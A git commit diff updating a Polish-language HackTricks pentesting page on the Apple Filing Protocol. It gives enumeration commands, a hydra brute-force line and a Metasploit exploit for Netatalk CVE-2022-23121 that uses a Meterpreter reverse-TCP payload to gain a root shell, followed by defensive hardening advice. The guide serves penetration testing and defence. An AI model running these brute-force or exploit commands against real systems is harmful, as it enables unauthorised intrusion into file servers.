mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to
This commit is contained in:
parent
b3cd8dab6d
commit
3fd8a3b58c
@ -4,27 +4,109 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Apple Filing Protocol** (**AFP**), wcześniej znany jako AppleTalk Filing Protocol, to specjalizowany protokół sieciowy wchodzący w skład **Apple File Service** (**AFS**). Został zaprojektowany w celu zapewnienia usług plikowych dla macOS i klasycznego Mac OS. AFP wyróżnia się wsparciem dla nazw plików Unicode, uprawnień POSIX i list kontroli dostępu, forków zasobów, nazwanych atrybutów rozszerzonych oraz zaawansowanych mechanizmów blokowania plików. Był głównym protokołem dla usług plikowych w Mac OS 9 i wcześniejszych wersjach.
|
||||
**Apple Filing Protocol** (**AFP**), dawniej znany jako AppleTalk Filing Protocol, to specjalizowany protokół sieciowy wchodzący w skład **Apple File Service** (**AFS**). Został zaprojektowany w celu zapewnienia usług plikowych dla macOS i klasycznego Mac OS. AFP wyróżnia się wsparciem dla nazw plików Unicode, uprawnień w stylu POSIX i ACL, forków zasobów, nazwanych atrybutów rozszerzonych oraz zaawansowanych mechanizmów blokowania plików.
|
||||
|
||||
**Domyślny port:** 548
|
||||
Chociaż AFP został zastąpiony przez SMB w nowoczesnych wersjach macOS (SMB jest domyślnym protokołem od OS X 10.9), nadal można go spotkać w:
|
||||
|
||||
* Środowiskach legacy macOS / Mac OS 9
|
||||
* Urządzeniach NAS (QNAP, Synology, Western Digital, TrueNAS…), które zawierają otwartoźródłowy demon **Netatalk**
|
||||
* Sieciach z mieszanymi systemami operacyjnymi, gdzie Time-Machine-over-AFP jest nadal włączone
|
||||
|
||||
**Domyślny port TCP:** **548** (AFP przez TCP / DSI)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
PORT STATE SERVICE
|
||||
548/tcp open afp
|
||||
```
|
||||
### **Enumeracja**
|
||||
---
|
||||
|
||||
Do enumeracji usług AFP przydatne są następujące polecenia i skrypty:
|
||||
## Enumeracja
|
||||
|
||||
### Szybki baner / informacje o serwerze
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
# Metasploit auxiliary
|
||||
use auxiliary/scanner/afp/afp_server_info
|
||||
run RHOSTS=<IP>
|
||||
|
||||
# Nmap NSE
|
||||
nmap -p 548 -sV --script "afp-* and not dos" <IP>
|
||||
```
|
||||
**Skrypty i ich opisy:**
|
||||
Przydatne skrypty NSE dla AFP:
|
||||
|
||||
- **afp-ls**: Ten skrypt jest używany do wylistowania dostępnych woluminów i plików AFP.
|
||||
- **afp-path-vuln**: Wylistowuje wszystkie woluminy i pliki AFP, podkreślając potencjalne luki.
|
||||
- **afp-serverinfo**: Dostarcza szczegółowych informacji o serwerze AFP.
|
||||
- **afp-showmount**: Wylistowuje dostępne udostępnienia AFP wraz z ich odpowiednimi ACL.
|
||||
| Skrypt | Co robi |
|
||||
|--------|--------------|
|
||||
| **afp-ls** | Wyświetla dostępne wolumeny i pliki AFP |
|
||||
| **afp-brute** | Atak brute-force na hasło logowania AFP |
|
||||
| **afp-serverinfo** | Wyciąga nazwę serwera, typ maszyny, wersję AFP, obsługiwane UAM-y itp. |
|
||||
| **afp-showmount** | Wyświetla udostępnienia wraz z ich ACL-ami |
|
||||
| **afp-path-vuln** | Wykrywa (i może wykorzystać) ataki typu directory-traversal, CVE-2010-0533 |
|
||||
|
||||
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
|
||||
Skrypt brute-force NSE można połączyć z Hydra/Medusa, jeśli wymagana jest większa kontrola:
|
||||
```bash
|
||||
hydra -L users.txt -P passwords.txt afp://<IP>
|
||||
```
|
||||
### Interacting with shares
|
||||
|
||||
*macOS*
|
||||
```bash
|
||||
# Finder → Go → "Connect to Server…"
|
||||
# or from terminal
|
||||
mkdir /Volumes/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
|
||||
```
|
||||
*Linux* (używając `afpfs-ng` ‑ pakowanego w większości dystrybucji)
|
||||
```bash
|
||||
apt install afpfs-ng
|
||||
mkdir /mnt/afp
|
||||
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
|
||||
# or interactive client
|
||||
afp_client <IP>
|
||||
```
|
||||
Po zamontowaniu pamiętaj, że klasyczne zasoby Maca są przechowywane jako ukryte pliki `._*` AppleDouble – często zawierają interesujące metadane, które narzędzia DFIR pomijają.
|
||||
|
||||
---
|
||||
|
||||
## Powszechne podatności i eksploatacja
|
||||
|
||||
### Netatalk nieautoryzowany łańcuch RCE (2022)
|
||||
|
||||
Kilku dostawców NAS dostarczyło **Netatalk ≤3.1.12**. Brak sprawdzania granic w `parse_entries()` pozwala atakującemu na skonstruowanie złośliwego nagłówka **AppleDouble** i uzyskanie **zdalnego dostępu root** przed uwierzytelnieniem (**CVSS 9.8 – CVE-2022-23121**). Pełny opis od NCC Group z PoC wykorzystującym Western-Digital PR4100 jest dostępny.
|
||||
|
||||
Metasploit (>= 6.3) zawiera moduł `exploit/linux/netatalk/parse_entries`, który dostarcza ładunek za pomocą DSI `WRITE`.
|
||||
```bash
|
||||
use exploit/linux/netatalk/parse_entries
|
||||
set RHOSTS <IP>
|
||||
set TARGET 0 # Automatic (Netatalk)
|
||||
set PAYLOAD linux/x64/meterpreter_reverse_tcp
|
||||
run
|
||||
```
|
||||
Jeśli cel działa na podatnym firmware QNAP/Synology, udane wykorzystanie skutkuje uzyskaniem powłoki jako **root**.
|
||||
|
||||
### Przepełnienie sterty OpenSession w Netatalk (2018)
|
||||
|
||||
Starsze wersje Netatalk (3.0.0 - 3.1.11) są podatne na zapis poza zakresem w obsłudze **DSI OpenSession**, co pozwala na wykonanie nieautoryzowanego kodu (**CVE-2018-1160**). Szczegółowa analiza i PoC zostały opublikowane przez Tenable Research.
|
||||
|
||||
### Inne istotne problemy
|
||||
|
||||
* **CVE-2022-22995** – Przekierowanie symlinków prowadzące do zapisu dowolnych plików / RCE, gdy AppleDouble v2 jest włączone (3.1.0 - 3.1.17).
|
||||
* **CVE-2010-0533** – Przechodzenie przez katalogi w Apple Mac OS X 10.6 AFP (wykryte przez `afp-path-vuln.nse`).
|
||||
* Naprawiono wiele błędów związanych z bezpieczeństwem pamięci w **Netatalk 4.x (2024)** – zaleca się aktualizację zamiast łatania poszczególnych CVE.
|
||||
|
||||
---
|
||||
|
||||
## Rekomendacje obronne
|
||||
|
||||
1. **Wyłącz AFP**, chyba że jest to ściśle wymagane – użyj zamiast tego SMB3 lub NFS.
|
||||
2. Jeśli AFP musi pozostać, **zaktualizuj Netatalk do ≥ 3.1.18 lub 4.x**, lub zastosuj firmware dostawcy, który wprowadza poprawki z lat 2022/2023/2024.
|
||||
3. Wymuś **Silne UAM** (np. *DHX2*), wyłącz logowanie w czystym tekście i gości.
|
||||
4. Ogranicz TCP 548 do zaufanych podsieci i umieść AFP w VPN, gdy jest wystawione zdalnie.
|
||||
5. Okresowo skanuj za pomocą `nmap -p 548 --script afp-*` w CI/CD, aby wykryć nieautoryzowane / obniżone urządzenia.
|
||||
|
||||
---
|
||||
|
||||
### [Brute-Force](../generic-hacking/brute-force.md#afp)
|
||||
|
||||
## Referencje
|
||||
|
||||
* Netatalk Security Advisory CVE-2022-23121 – "Wykonanie dowolnego kodu w parse_entries" <https://netatalk.io/security/CVE-2022-23121>
|
||||
* Tenable Research – "Wykorzystywanie 18-letniego błędu (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user